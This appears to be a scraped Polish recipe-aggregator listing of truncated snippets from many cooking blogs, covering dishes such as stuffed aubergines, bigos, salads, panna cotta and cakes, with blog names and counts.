przepis na faszerowane bakłażany. Przyznam szczerze, że jest to mój ulubiony przepis na letnie obiady. Bakłażan faszerowany kaszą kuskus, a do tego czerwona papryka, oliwki i orzeźwiający jogurtowy sos cytrynowy. składniki na 5 porcji 5 bakłażanów połowa opakowania kaszy kuskus 1 czerwona papryka cebula dymka (pęczek) oliwki zielone (dwie garści) jogurt grecki skórka z cytryny 2 ząbki czosnku przyprawy: kminek

noteskulinarnyfiga
Gładzica gotowana - flądra gotowana 153

parę listków bobkowych. Oczyszczone starannie ryby wypłukać, osolić i pozostawić tak na godzinę. Kiedy już smak przybiera kolor rosołu włożyć w rondel ryby, a dla osolenia dodać trochę sosu, który się pod rybą z soli uformował. Po ugotowaniu wyjąć ostrożnie na półmisek i podawać z gotowanymi kartoflami, smak zaś użyć na czystą lub zabielaną zupę. Flondry w ten sposób przyrządzone

królestwo garów
Kasza bulgur po ormiańsku – sałatka eech (itch) 199

umytą paprykę. Na patelni z grubym dnem rozgrzewamy olej i smażymy cebulę aż się zeszkli. Dodajemy pokrojoną paprykę, przyprawy i passatę pomidorową, mieszamy i gotujemy przez kilka minut aż sos zgęstnieje. Dosypujemy surową kaszę bulgur (nie płuczę jej wcześniej), mieszamy przykrywamy i gotujemy na małym ogniu pod przykryciem przez około 15 minut. Eech podajemy z dużą ilością ulubionych świeżych ziół

Lamarida.pl
Pizza 4 składniki 186

Mieszamy. Dodajemy oliwę z oliwek i wyrabiamy ciasto ( ok. 5 minut). Formujemy w okrąg o grubości ok 1 cm. Przekładamy na blachę wyłożoną  papierem do pieczenia. Dodatki : pikantny sos pomidorowy( z chili) sól, pieprz, bazylia czosnek granulowany 25- 40 dag mozzarelli w plastrach świeże pomidory słoik czarnych oliwek WYKONANIE ( kolejność oczywiście dowolna

Domowe ciasta
Sałatka z kuskusem i tuńczykiem II 236

sałatka wyszła godna polecenia. Chrupiąca za sprawą papryki, kukurydzy i ogórków. Pyszna! 2 szkl. kuskusu 2 szkl. bulionu 1 słoiczek tuńczyka w oleju lub 2 puszki tuńczyka w sosie własnym 1 puszka kukurydzy 1 czerwona papryka 3-4 ogórki kiszone (lub konserwowe) 4-5 jajek 1 por 2-3 łyżki majonezu sól, pieprz Kuskus wsypujemy do miski. Zalewamy gorącym bulionem

Smaki Na Talerzu
Kawa mrożona Mocha frappe z waniliowymi lodami i tartą gorzką czekoladą 173

amaretto i kawę espresso, jeśli nie mamy espresso wsypujemy kawę rozpuszczalną mieszamy dokładnie. Odstawiamy na 2 godziny do lodówki. Do kielicha blendera wlewamy pozostałe zimne mleko oraz schłodzony sos czekoladowo-kawowy, dodajemy lody i całość miksujemy. Rozlewamy do wysokich szklanek, na wierzch można włożyć jeszcze po gałce lodów posypać czekoladą i delektujemy się smakiem.  Smacznego

Wanilia i Kardamon
Kurczak z brokułami 1027

ketoobiad. Składniki: 1 pierś z kurczaka ½ opakowania mrożonych brokułów / 1 mały brokuł żywy 3 łyżki oliwa z oliwek 1 łyżeczka masła sól pieprz papryka czerwona w proszku 3 łyżki sosu sojowego sezam   Przedmioty potrzebne: Nóż Deska do krojenia Garnek z wodą Patelnia   Jak zrobić: Garnek z woda nastawiamy na gotowanie jak woda zacznie wrzeć wrzucamy

Keto - Meto Przepisy
Bigos z młodej kapusty z klopsikami 193

Bigos z młodej kapusty z klopsikami Pyszny, szybki i prosty letni obiad. Małe klopsiki wieprzowe duszone w młodej kapuście z pieczarkami i aromatycznym sosem pomidorowym. Palce lizać!     Składniki: 500g mięsa mielonego wieprzowego 1 jajko 3 łyżki bułki tatej 1/2 szklanki mąki- do obtoczenia klopsików przyprawy: sól, pieprz, majeranek, bazylia, oregano, papryka słodka i ostra olej do smażenia

Blog z Apetytem
Karkówka w jogurcie na grilla 276

Karkówka to jedno z najbardziej popularnych mięs używanych do grillowania. Jednak aby nie była zbyt sucha warto wiedzieć w jaki sposób przygotować odpowiednią marynatę. Karkówka w

Kulinarnyblog.pl - wiesz jak gotować!
Langosz (bez ziemniaków) 218

kraju. Placek z drożdżowego ciasta smażony na glębokim tłuszczu podawany jest z kwaśną śmietaną i tartym żółtym serem. Odchodząc od tradycyjnej formy - szczerze polecam także spróbowanie z dodatkiem różnych sosów, masłem czosnkowym, śmietaną i cukrem czy szynką, boczkiem i podsmażoną cebulką. . Spotkałam się z kilkoma metodami przygotowywania Langosza - np. z gotowanymi ziemniakami (taka opcja również pojawi się na blogu). Dzisiaj

Zielona Kuchnia
Wrocławskie warsztaty kulinarne z Akademią Smaku SOKOŁÓW 165

dania: - Zupa krem z po-grillowych warzyw z chrupiącym chipsem z boczku - Sałata z piklowanymi warzywami i tartym Beef Jerky - Kanapki z odświeżanej bagietki ze stekiem z antrykotu i sosem zero-westowym - Czerstwe ciasto drożdżowe z owocami P rzygotowane były dla nas s tanowiska pracy . Znalazły się na nich fartuchy do pracy z logo SOKOŁOWA, oraz wszystkie produkty, których mieliśmy

Kuchnia u Krysi
Sałatka z pieczonego kalafiora z migdałami 178

cienkie paseczki, pomidorki pokroić na pół. Migdały podpiecz przez chwilę na suchej, gorącej patelni. Będą bardziej aromatyczne. W oddzielnej miseczce połącz sok z cytryny, miód i oliwę. Powstanie aromatyczny sos. Kiedy kalafior będzie miękki, wyjmij go z piekarnika. Poczekaj kilka minut, aż przestygnie. Wymieszaj wszystko razem w dużej misce i podawaj. Smacznego! table.macro { font-size: 0.9em; } table.macro + p, table.macro

wiecejwarzyw.pl
Sycylijska potrawka z kurczaka 140

Sycylijska potrawka z kurczaka Sycylijska potrawka z kurczaka to genialnie prosty i smaczny obiad. Gęsty aromatyczny sos pomidorowy gra tu pierwszy plan , do tego zioła i soczyste udka bez kości i skóry .. Poezja , a dodatkowo dość niskokaloryczne i zdrowe . Polecam taki posiłek na upalne dni . Potrawka doskonale daje się odgrzewać , nie tracąc nic na jakości , a to sprawia ,że można

Ogrodnik w podróży
Jedz śmiej się i walcz Joanna Jędrzejczyk Jan Paszkowski 213

śniadaniową klasykę jak jaglanka, jajecznica, czy omlet, pyszne słodkie i słone wypieki oraz ciekawe dania obiadowe jak np. kurczak w bekonie z syropem klonowym czy biała kiełbasa w sosie prawdziwkowym z kremową kaszą manna i śmietaną miodowo- chrzanową. Polecam bo pomysł na książkę ciekawy,  klimatyczne zdjęcia,  teksty motywujące, dania apetyczne, oryginalne a przy tym niezbyt skomplikowane więc można

Cynamonowe szczęście
Zapiekanka z tortellini z mięsem 196

Dziś ... po przeglądzie mojej lodówki powstała zapiekanka z tortellini :-) Uwielbiam wszelkie dania makaronowe... tym razem makaron z wkładką czyli z nadzieniem mięsnym a do tego aromatyczny sos pomidorowy z czosnkiem i bazylią.  Całość zapieczona z żółtym serem... pychota! Składniki na 2 porcje: 400 g tortellini z mięsem puszka krojonych pomidorów bez skórki (ok. 400g) 1 średnia cebula 2 ząbki

Alutka-Gotuje
Chłodnik litewski – przepis 178

koperkiem. Chłodnik litewski Zapraszam również do skorzystania z innych przepisów: Włoska zupa krem z pomidorów z dodatkiem pesto Zupa krem z cukinii – przepis Klopsiki zapiekane z ziemniakami w sosie pomidorowym Artykuł Chłodnik litewski – przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Mini sernik jaglany o smaku cappuccino i Wine & Garden Hotel w Komborni 148

zakochałam się w nim od pierwszego wejrzenia! Sałatka z grecka w Wine & Garden Hotel Wszędzie, gdzie mogę, kosztuję serników. Tym razem na moim podniebieniu zagościł sernik chałwowy z sosem malinowym.   Artykuł Mini sernik jaglany o smaku cappuccino i Wine & Garden Hotel w Komborni pochodzi z serwisu Raj dla Podniebienia

Raj dla Podniebienia
Tom-ka sorg sa-hai :) Zupa z Tajlandii 159

mniej lub bardziej wyrazisty smak. Niestety trzeba trochę doprawić do smaku. Podczas gotowania woda się może wygotować, więc zupa może być za gęsta. trzeba wtedy dolać wodę, może więcej sosu sojowego, limonki itp. Warto się trochę pomęczyć bo warto. Zupa jest delikatna w smaku. Bardzo mi smakowało

Kuchnia Pokoleń
"Jedz, śmiej się i walcz" Joanna Jędrzejczyk, Jan Paszkowski 157

niezwykle pozytywne. Znajdziemy tutaj też kilka jej przepisów na dania, które lubi. Reszta są to przepisy Jana. Są tu śniadaniowe klasyki takie jak koktajl jaglany z jagodami i jagodowym sosem, jajecznica perfekcyjna, superomlet z ziołami i prażonym słonecznikiem, kolejne są kanapki i inne mączne miłości w wydaniu na słono i słodko. Na końcu przechodzimy do obiadów, gdzie mamy podział

kruche babeczki
Beza Pavlova – tort bezowy z truskawkami 237

nowe, zdrowe przepisy oraz przerabiać te, wszystkie nam dobrze znane potrawy na zdrowszą, odchudzoną ich wersję. Nie przestawajcie! Na blogu znajdziecie również przepis na Tort bezowy z budyniem herbatnikowym, sosem Custard i jeżynami. Składniki: – 6 białek, o temp. pokojowej (z żółtek możecie wykonać zabajone – przepis już wkrótce!) – 280g drobnego cukru – 500 ml śmietanki 30%, dobrze schłodzonej

Be Fit Be Strong
Panna cotta 253

parę sekund do miski z gorącą wodą, kolejno ułożyć na foremce talerz i odwrócić ją do góry dnem. Odłożyć kilka malin do dekoracji, resztę zmiksować lub rozdrobnić widelcem. Sos malinowy rozlać wokół deseru. Udekorować odłożonymi malinami i świeżą miętą. Artykuł Panna cotta pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Racuchy na maślance z truskawkami 225

możliwe, że komuś może nie chcieć się jeść? Owszem mam mniejszy apetyt, albo może inaczej: mam mniejszy apetyt na rzeczy gorące i ciężkie, ale już desery, makarony z lekkim sosem, lody, czy też nawet owoce? Oczywiście, że tak I dziś w ramach zastanawiania się co by tu zjeść na obiad, wpadłam na pomysł racuszków. Danie, które kiedyś bardzo często pojawiało

365 dni dookoła kuchni
Ciasto Czekoladowe z kulkami serowo kokosowymi 235

gorącej wody Kremówkę miksujemy na sztywno z cukrem i fixem. Do sztywnej śmietany dodajemy po łyżce mascarpone i delikatnie mieszamy. Łączymy z żelatyną.    Dodatkowo:   sos czekoladowy lub polewa Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

Domowe ciasta
Sałatka z kalarepki, ogórka, truskawek i fety 186

kalarepki, ogórka, truskawek i fety Wykonanie: Z soku z cytryny, oliwy, miodu, soli i pieprzu ucieramy winegret. Obieramy kalarepki, kroimy je w 1,5 cm kostkę i mieszamy z sosem, dodając nasiona chia. Ogórka kroimy w drobną kostkę. Jeżeli użyjemy grubego ogórka to wydrążyć nasiona. Rzodkiewki kroimy w ćwiartki. Truskawki opłukać i pokroić na ósemki, fetę pokroić w drobną kostkę

Pomysłowa kuchnia
PLACKI Z CIECIERZYCY 178

się na szybki obiad, gdy nie mamy czasu na długie stanie w kuchni lub jako lunch do zabrania do pracy.  Najlepiej smakują z ostrym paprykowym majonezem, mizerią lub sosem pieczarkowym. SKŁADNIKI / 10 SZTUK 1 puszka ciecierzycy 400 g  3 łyżki płynu z zalewy 3 płaskie łyżki mąki 1 ząbek czosnku 1 jajko 1 łyżeczka proszku do pieczenia

cool and minty
Tacos z kurczakiem 146

Składniki: – 1 duża pierś z kurczaka – mieszanka przypraw: pół łyżeczki papryki słodkiej, pół łyżeczki ostrego chilli, pół łyżeczki papryczki wędzonej, pół łyżeczki oregano, pół łyżeczki kuminu – 1-2 łyżeczki sosu Tabasco – opcjonalnie – 7-9 kukurydzianych tacos lub małych pszennych tortilli – 10 pomidorków cherry – marynowane papryczki jalapeno – 1 duże awokado – 2 łyżki śmietany – świeża kolendra do podania Przygotowanie

nietylkopasta.pl
Żeberka w marynacie miodowo-musztardowej 151

żeberkom niepowtarzalnego charakteru, który sprawia, że ciężko zrezygnować z dokładki. Polecam! około 700g żeberek wieprzowych Marynata: 1 łyżki miodu (płaskie) (*) 2 łyżki musztardy 1 łyżka oleju  1 łyżka sosu sojowego 1 łyżeczka soli 1 łyżeczka czosnku granulowanego 1 łyżeczka majeranku 1/2 łyżeczki papryki ostrej wędzonej Dodatkowo: 2 listki laurowe      Umyte i osuszone żeberka porozcinać na mniejsze

Di gotuje
Lemoniada malinowa 363

przepis na napój na gorące dni, czyli lemoniada malinowa . Inspiracją do tego napoju był nasz ostatni wypad do North Fish, gdzie do pysznej rybki (zobacz przepis: wiosenna ryba z sosem chrzanowym ) zamówiliśmy do picia właśnie lemoniadę malinową . Tak nam zasmakowała, że postanowiliśmy w domu odtworzyć naszą wersję lemoniady malinowej jak z North Fish . (adsbygoogle = window.adsbygoogle || []).push({}); Lemoniada malinowa – Składniki

Kulinarne Przeboje
Kalafior z piekarnika 224

Proponowany przez nas kalafior może być wykorzystany do obiadu np. z kotletem mielonym, schabowym lub kurczakiem. Można też podać go jedynie z sosem czosnkowym i też smakuje rewelacyjnie.     Składniki: -kalafior -2 łyżki płynnego masła -przyprawy harissa, do mięs l ub inne ulubione -sól Kalafiora kroimy. Układamy na blaszce z papierem do pieczenia. Delikatnie i tylko z jednej strony

Maminek kulinarny
Biszkopt Mascarpone z Malinami 187

Maliny zasypujemy cukrem i smażymy chwilę na wolnym ogniu. Gdy się zagotują, dodajemy roztwór mąki ziemniaczanej. Mieszamy dokładnie. Powstałą masę przecieramy przez sito (aby pozbyć się pestek). Do powstałego sosu dodajemy żelatynę rozrobioną w ¼ szklanki gorącej wody. Mieszamy i odstawiamy do lodówki do schłodzenia , aż masa zacznie tężeć. Do malinowej bazy dodajemy mascarpone i dokładnie miksujemy. Normal 0 21 false

Domowe ciasta
Bigos z młodej kapusty 166

Wykorzystałam kiełbaski debreczyńskie. Jeśli nie uda Wam się takowych dostać w sklepie sięgnijcie po inne lekko pikantne kiełbaski. Użyłam pomidorów w puszce krojonych w kostkę. Zastąpić można je także sosem pomidorowym. Bigos należy dusić kilka godzin na małym ogniu. Im dłużej tym lepiej, gdyż składniki muszą być miękkie i dobrze ze sobą połączone. Lubisz dania z młodej kapusty? Jeśli

mecooks
Multigrano z borówkami, rzodkiewkami i twarożkiem 124

instrukcją na opakowaniu. Umyte rzodkiewki podsmażamy na maśle klarowanym. Dodajemy miód, pieprz, listki mięty i karmelizujemy. Ugotowaną kaszę mieszamy z borówkami i podajemy z rzodkiewkami, całość polewając powstałym sosem. Przed podaniem posypujemy twarożkiem. Smacznego :) Wpis powstał we współpracy z Sonko. Artykuł Multigrano z borówkami, rzodkiewkami i twarożkiem pochodzi z serwisu Mienta blog

Mienta blog
Wiosenne roladki z kurczaka w rabarbarze 174

straganach, warto po niego sięgać i warto próbować go w coraz to nowszych odsłonach. Na moim talerzu dziś rabarbar po raz pierwszy w wersji wytrawnej, jako lekko kwaśny sos do drobiowych roladek. A w roladkach serek śmietankowy, czosnek i tymianek, które czule otulają młodą dymkę. Całość zanurzona w rabarbarowych cząstkach z dodatkiem chili i miodu staje się pysznym i sycącym

Kuchnia w Słońcu Skąpana
Niedzielny Kucharz w TOK FM 169

znane i mniej znane zupy na zimno . Plan na ten tydzień jest taki: Poniedziałek: Sałatka z młodych ziemniaków z musztardowo-miodowym dresigiem Lekko słodki dresing na bazie musztardy i sosu podkręca słodycz młodych ziemniaków. Do tego dochodzi chrupka, pikantna rzodkiewka, kremowa fasolka szparagowa i orzechowa, pieprzna rukola oraz chipsy z ostrego salami. Pycha. Zobacz przepis Wtorek: Domowe sushi   Danie

Niedzielny kucharz
Poniedziałek: Sałatka z młodych ziemniaków z winegretem miodowo-musztardowym 200

rzodkiewki 100 g, albo garść zielonej fasolki szparagowej Kilkanaście plasterków cienko pokrojonego salami lub chorizo, albo innej kiełbasy 2 jajka Garść rukoli Kilka łyżek siekanej zieleniny: bazylii, pietruszki, dymki Sos winegret 4 łyżki oliwy lub oleju rzepakowego 2 łyżki octu winnego 2 łyżki musztardy dijon lub deserowej lub miodowej 1 łyżeczka miodu 1/3 łyżeczki mielonej lub utartej w moździerzu kolendry

Niedzielny kucharz
Kotleciki z kaszy jaglanej i fety 239

blaszce wyłożonej papierem do pieczenia. Pieczemy przez około pół godziny. Po upieczeniu studzimy, ponieważ gorące będą zbyt miękkie, aby je jeść. Najlepiej podawać je z zieloną sałatą oraz sosem vinegret. Porada Kotleciki można także smażyć na oleju przez około 3-4 minuty z każdej strony (opcja mniej fit ;)). Następnie odsączamy je na ręczniku papierowym i odstawiamy, aby „odpoczęły”. Smacznego! Artykuł

Analiza Smaku
Placuszki maślankowe z kwiatami czarnego bzu 156

wyciągnięcie ręki i to za darmo! Cudnie pachnie, ma mnóstowo wartości zdrowotnych, a placuszki z kwiatami czarnego bzu są pyszne! Smaczne drugie śniadanie lub podwieczorek. Placuszki polane sosem truskawkowym to dodatkowa porcja sezonowych owoców i witamin

Gotuj zdrowo!Guten Appetit!
Żeberka musztardowe-miodowe-a przepis zaczerpnięty z książki Gotuję z lewiatanem 243

żeberka .Włóż do dużej miski , przykryj folią spożywczą i odłóż do lodówki na 12 godzin . żeberka piecz 180 st przez 1,5 godziny ,co jakiś czas polewając wytapiającym się sosem z marynatą.Podawaj z pieczonymi ziemniakami

Moje Wyroby
WYTRAWNE BABECZKI Z KASZĄ JAGLANĄ I WARZYWAMI 165

praskę czosnek oraz przyprawy i pietruszkę, Mieszamy składniki ze sobą. Powstałą masą napełniamy foremki na muffinki. Pieczemy w rozgrzanym piekarniku 25 minut w 180 stopniach.  Podajemy z ulubionym sosem

słodki bratek
Risotto z mięsem mielonym, chili i papryką 150

mięso i smażyć aż się zetnie. Dodać pomidory w puszce. Doprawić solą i pieprzem. Dusić 10 minut na mniejszej mocy palnika. Do ugotowanego ryżu z papryczkami przełożyć mięso z sosem. Całość dokładnie wymieszać. Podawać na gorąco. Smacznego

Zielona Kuchnia
Tarta czekoladowa z borówką 165

żelatynę.   Po 2 minutach gdy czekolada zacznie się rozpuszczać wymieszać do jednolitej konsystencji. Wystudzić . Pozostałą ilość kremówki ubić na sztywno mikserem, stopniowo w 3 turach wlewać ostudzony sos czekoladowy , delikatnie ręcznie rózgą od miksera mieszać do połączenia. Tak przygotowany mus wylać na zimny kruchy spód , włożyć do lodówki, gdy mus zacznie tężeć posypać   borówką i zostawić

Wanilia i Kardamon
Łosoś na parze z warzywami i szpinakiem 234

Składniki 2 kawałki łososia ze skórą 1 brokuł 250 g szpinaku 3 ząbki czosnku przyprawa do ryb sól, pieprz sos: 1 jogurt naturalny 2-3 ząbki czosnku 1 łyżka posiekanego koperku … Czytaj dalej Łosoś na parze z warzywami i szpinakiem

czarrna od kuchni
Drożdżowe pierożki z grzybami i sosem grzybowym 158

czasu więc zrobiłam i są pyszne. Może były pyszne ale u Was mogą być pyszne jeśli sobie zrobicie sami. Grzyby mogą być świeże z lasu i mrożone lub pieczarki. Sos grzybowy szybki smakuje wybornie z tymi pierogami, polecam, gotujemy. Pierożki drożdżowe z grzybami, pyszne, na parze. CZYTAJ DALEJ

Moje Małe Czarowanie
Pieczona karkówka z ziemniakami -szybki obiad 186

Skworcu https://www.skworcu.com.pl/202,czosnek-niedzwiedzi-ziele-suszone-sklep-internetowy-skworcu-wwwskworcucompl.html 1 łyżka papryki mielonej Skworcu https://www.skworcu.com.pl/316,papryka-mielona-ostra-sklep-internetowy-skworcu-wwwskworcucompl.html Pieprz i sól do smaku  1 łyżka suszonej papryki płatki Skworcu https://www.skworcu.com.pl/318,papryka-platki-czerwona-50g-sklep-internetowy-skworcu-wwwskworcucompl.html 2 łyżki sosu sojowego ciemnego  2 łyżki ketchupu np.ostrego  4 łyżki suszonej cebuli Skworcu https://www.skworcu.com.pl/181,cebula-suszona-platki-sklep-internetowy-skworcu-wwwskworcucompl.html  Ziemniaki:  1.5 kg Młodych Ziemniaków  2 Łyżki przyprawy do ziemniaków Skworcu

Gotowanie Patki
Filety kurczaka z boczkiem 139

danie. A przy tym jakie smaczne! Pysznie smakuje z kluskami, makaronem lub ziemniakami. Takie danie kaszą i ryżem też nie pogardzi. Bierzcie, smakujcie. Delektujcie się soczystym mięsem w wyśmienitym sosie. Składniki: 500 g filetów z udka kurczaka 150 g wędzonego boczku 1 cebula 1 marchew 1 kawałek selera korzeniowego 4 łyżki oleju rzepakowego (suszony pomidor i bazylia) 1 łyżeczka estragonu

R'n'G Kitchen
Sałata zielona z miętą 153

łyżki słodkiej śmietanki 30% sok z połowy cytryny sól, pieprz, cukier do smaku kilka listków świeżej mięty, posiekanej z grubsza Sałatę myjemy, rwiemy na kawałki. Składniki na sos mieszamy razem, podajemy do sałaty. Zamiast mięty sałatkę można posypać posiekanym drobno koperkiem

Smaki Na Talerzu
Zapiekanka Ziemniaczana Z Pieczarkami I Cukinią / Bez Jajek 273

Foremkę do zapiekania smarujemy masłem lub smalcem i wykładamy na przemian ziemniaki które obsypujemy przyprawą do ziemniaków i odrobina soli i pieprzu, następnie warstwa pieczarek z sosem i plasterki cukinii, następnie znów ziemniaki (plus przyprawa do ziemniaków), pieczarki i cukinia. Na sam koniec, na wierzchu, układamy kawałki mozzarelli, fetę i obsypujemy serem żółtym. Pieczemy w 190 stop przez około

Gotowanie...to proste !
Zupa pomidorowa z tofu i lanymi kluskami 160

zimnej wody Zupa: 500 g dojrzałych pomidorów (ewentualnie całe z puszki) 1 cebula lub kilka cebulek dymek 1 ząbek czosnku 2 liście laurowe 1 mała marchewka 2 łyżki sosu tamari (lub sojowego w wersji z glutenem) 1.5 litra wody 1 szklanka (240 ml) passaty pomidorowej 200 g tofu naturalnego 2 łyżki oleju (do smażenia) sól i pieprz do smaku Dodatkowo

Lamarida.pl
Sałata z małosolnym ogórkiem 203

myjemy, osuszamy i kroimy w nieduże kawałki nożem do sałaty. Pomidory kroimy w kostkę, ogórki w plasterki. Majonez mieszamy z ketchupem, jogurtem, przeciśniętym przez praskę czosnkiem, doprawiamy solą. Powstały sos mieszamy ze wszystkimi składnikami sałatki. Artykuł Sałata z małosolnym ogórkiem pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Bigos z młodej kapusty 162

już miękka to należy wmieszać koncentrat pomidorowy, majeranek oraz posiekany koperek. Bigos doprawić niewielką ilością miodu oraz pozostałymi przyprawami i podgotować kilka minut lub odrobinę dłużej, aby powstał gęściejszy sos pomidorowy.     Przyprawy użyte w przepisie pochodzą ze sklepu Swojski Wyrób

Di gotuje
Pasztet jajeczny 232

Szybki pasztet,a może pieczeń z jajek do chleba lub do obiadu. Można go podawać z sosem czosnkowym ,koperkowym lub ketchupem. Przygotowanie pasztetu nie wymaga od nas zbyt dużo pracy, a takie potrawy ostatnio lubię robić. Zapraszam po przepis i do zrobienia pasztetu. Proszę również o podzielenie się swoją opinią w komentarzach. Składniki 10 jajek ugotowanych na twardo 2 jajka

O kuchni z uczuciem
Bułki z pieczarkami 214

mogą być pomysłem na śniadanie, obiad albo przyjęcie :). Jedno mogę Wam zagwarantować, znikają w mgnieniu oka, a ich zapach unosi się w całym domu. Do bułeczek idealnie pasuje domowy sos czosnkowy albo pomidorowy. Bułki z pieczarkami Farsz 500 g pieczarek 2 cebule Przyprawy: pieprz, sól, papryka słodka, papryka ostra Bułki 300 g mąki pszennej ((2 szklanki)) 125 ml ciepłej wody

Przepisy na widelcu
Klopsiki po Grecku z oliwkami i fetą 118

sera feta Sól i pieprz kmin rzymski 1/4łyżeczki  1 łyżeczka oregano 1 mała kajzerka namoczona w mleku 1 jajko małe  Kilka łyżek oleju do smażenia Na sos 1 puszka pomidorów krojonych ( 400 g) 1 średnia cebula Pół łyżeczki oregano Szczypta kminu rzymskiego  50 g sera feta  1 łyżeczka cukru  2 łyżeczki przecieru pomidorowego . Mięso

Andzia Pichci
Tagliatelle w sosie kurkowym 136

czasu mieszając  aż grzyby zmiękną ok. 10 minut. Przyprawiamy solą i pieprzem (opcjonalnie podlać whisky lub koniakiem.).Zwiększamy płomień, dodajemy śmietankę i gotujemy aż śmietanka zgęstnieje. Do zgęstniałego sosu dodajemy ugotowany i odcedzony makaron.Podgrzewamy chwilę do połączenia się składników.Na koniec posypujemy zieloną pietruszką

Andzia Pichci
Krokieciki ziemniaczane 159

mega pyszne, delikatne w środku i lekko chrupiące zwierzchu. Proste składniki które zazwyczaj zawsze mamy w domu. Fajne jako przekąska ,świetnie sprawdzą się na imprezie podane z różnymi sosami lub jako dodatek do obiadu. 500 gram ugotowanych ziemniaków 1łyżka śmietany lub jogurtu 100 gram startego żółtego sera 2 łyżki mąki pszennej plus trochę do podsypania sól, pieprz olej

Andzia Pichci
Tuńczyk na krakersach 176

prosta i efektowna przystawka. Aby ja przygotować potrzebujemy niewiele banalnych składników. Świetnie się sprawdzi na różnego rodzaju uroczystościach. Na 9 porcji 27 krakersów 5 jajek 1 puszka tuńczyka w sosie własnym 120 gram sera żółtego 1 duży ogórek konserwowy 6/7 łyżek majonezu sól,pieprz szczypiorek Przygotowujemy trzy masy 1 warstwa ⧪ Ser żółty zetrzeć na tarce o dużych oczkach, dodajemy drobno

Andzia Pichci
Warstwowa sałatka z tuńczykiem 178

bardzo lubiana sałatka która znika w oku mgnienia  6 jajek Szczypiorek  50 g ryżu Groszek zielony lub kukurydza 1 puszka  Ser żółty 25 dag Tuńczyk w sosie własnym Kilka łyżek majonezu Ryż gotujemy na sypko.  Jajka ugotować na twardo,ser żółty zetrzeć na tarce.  Żółtka oddzielić od białek posiekać drobno. Groszek lub kukurydzę odcedzamy. Szczypiorek

Andzia Pichci
Krokiety Gyros 139

Krokiety można przygotowywać na różne sposoby oprócz tych klasycznych polecam wam z farszem mięsnym z dodatkiem warzyw i ryżu.Podane z surówką i ulubionym sosem  np.czosnkowym to ś wietna propozycja na obiad lub imprezę. Ciasto naleśnikowe 2 szklanki mleka 2 jajka M Czubata szklanka mąki pszennej 2 łyżki śmietany sól 50 ml.oleju ⧪ Farsz ok. 500/600 gram mięsa mielonego dowolnego

Andzia Pichci
Pieczeń rzymska 171

rzędzie układamy ugotowane jajka przykrywamy drugą częścią mięsa mielonego lekko dociskamy. Smarujemy po wierzchu musztardą .Pieczemy w piekarniku nagrzanym na 180 minut ok.40 minut. Do podania na ciepło polecam sos musztardowy na który przepis znajdziecie  tutaj

Andzia Pichci
Naleśniki bananowe 176

przygotowania tych przepysznych naleśników najlepsze będą bardzo dojrzałe, brązowe banany smaczny sposób na ich wykorzystanie aby się nie zmarnowały.Podane z sosem czekoladowym to idealne śniadanie czy deser. 2  bardzo dojrzałe banany ok.200 gram 1 i pół szklanki mleka (szklanka 250 ml) 1 i pół szklanki mąki pszennej tortowej (szklanka 250 ml.) 2 małe jajka

Andzia Pichci
Kofty z mięsa mielonego 198

patyczki i pieczemy na średnio rozgrzanym grillu. Ps. Aby mięso po upieczeniu ładnie dochodziło od patyczków warto namoczyć patyczki w zimnej wodzie . Można również podawać z Tzatzikami lub sosem Ajvar

Andzia Pichci
Kurczak słodko kwaśny 253

octu dodać cukier i wymieszać do rozpuszczenia. Dodać na patelnię i smażyć ok 2 minut. 7. Dodać ocet balsamiczny, sok z limonki, sól i ketchup. Dokładnie wymieszać. 8. Jeżeli sos jest zbyt rzadki dodać rozpuszczoną w odrobinie wody łyżkę mąki ziemniaczanej. ZAPRASZAM NA FILM - Kurczak słodko kwaśny! Jeśli spodobał Ci się film  subskrybuj mój kanał YouTube

Atlas Smaków
Zakładanie zielnika w kuchni – porady i inspiracje 167

wyróżnia. Kolendra od wieków stosowana jest również w medycynie, jako lek na dolegliwości żołądkowe. Pietruszka W domowych warunkach uprawia się naciowa odmianę pietruszki. Używana jest jako dodatek do zup, sosów, sałatek czy jajek. Jest bogatym źródłem witaminy C, przez co zaleca się jej spożywanie w celu zwiększenia naturalnej odporności organizmu. Autorem wpisu jest Łukasz z redakcji bloga Fixly.pl. Artykuł Zakładanie

Rozdomowiona
Wegetariańska, truskawkowa pana cotta 218

swój ulubiony deser - pana cottę. Kilka lat temu publikowałam przepis na kwaskowatą pana cottę na maślance . Dziś kwaskowatości dodają temu deserowi truskawki dorzucone do podgrzewanej śmietany i owoce w sosie, z którym pana cottę podałam. Deser jest wegetariański, bo zamiast żelatyny użyłam agaru. Dziękuję Weganonowi za instruktaż korzystania z niego, bo okazuje się, że informacje podawane na opakowaniach wielu firm

Weekendy w domu i ogrodzie
Gratin ziemniaczany przepełniony łososiem 184

Prawdziwa gratka- wielowarstwowy gratin ziemniaczany przepełniony plastrami łososia MOWI i cukinii w kremowym sosie chrzanowym 👌 Gratka nie tylko na obiad rodzinny (wtedy obłędnie smakuje podana na ciepło), ale i bardzo smaczna i ciekawa propozycja na imprezę- wystarczy pokroić na małe kwadraciki i nadziać porcje na wykałaczki (tak, tak, na zimno smakuje równie genialnie!). Dodatkową, fantastyczną robotę robi 'kawior' buraczkowy, który

Kraina Miodem Płynąca
Pizza ze szparagami i szynką parmeńską 164

cieście rozsmaruj passatę pomidorową i układaj w dowolny sposób pozostałe składniki. Pizzę piecz ok. 35 minut w piekarniku rozgrzanym do 180 stopni. Podawaj zaraz po upieczeniu z ulubionym sosem, np. czosnkowym . Smacznego       Artykuł Pizza ze szparagami i szynką parmeńską pochodzi z serwisu 365 dni dookoła kuchni

365 dni dookoła kuchni
Gdzie zjeść w Jeleniej Górze? – Szary Piec 166

tylko moje odczucie. Drugim deserem, który tylko spróbowałam był pistacjowy sernik mascarpone. Rozpływał się w ustach, a pistacje było czuć dość wyraźnie. Dodatek w postaci gałki lodów i sosu malinowego jeszcze podkreślił smak orzechów. Desery dostają ode mnie najwyższą notę i sama nie wiem, który zamówiłabym następnym razem Tiramisu Sernik mascarpone z pistacjami Podsumowując Gdzie zjeść w Jeleniej Górze

Relaxtime
Bezglutenowe placuszki ze szparagami i wędzonym pstrągiem w sosie ziołowo – szpinakowym 191

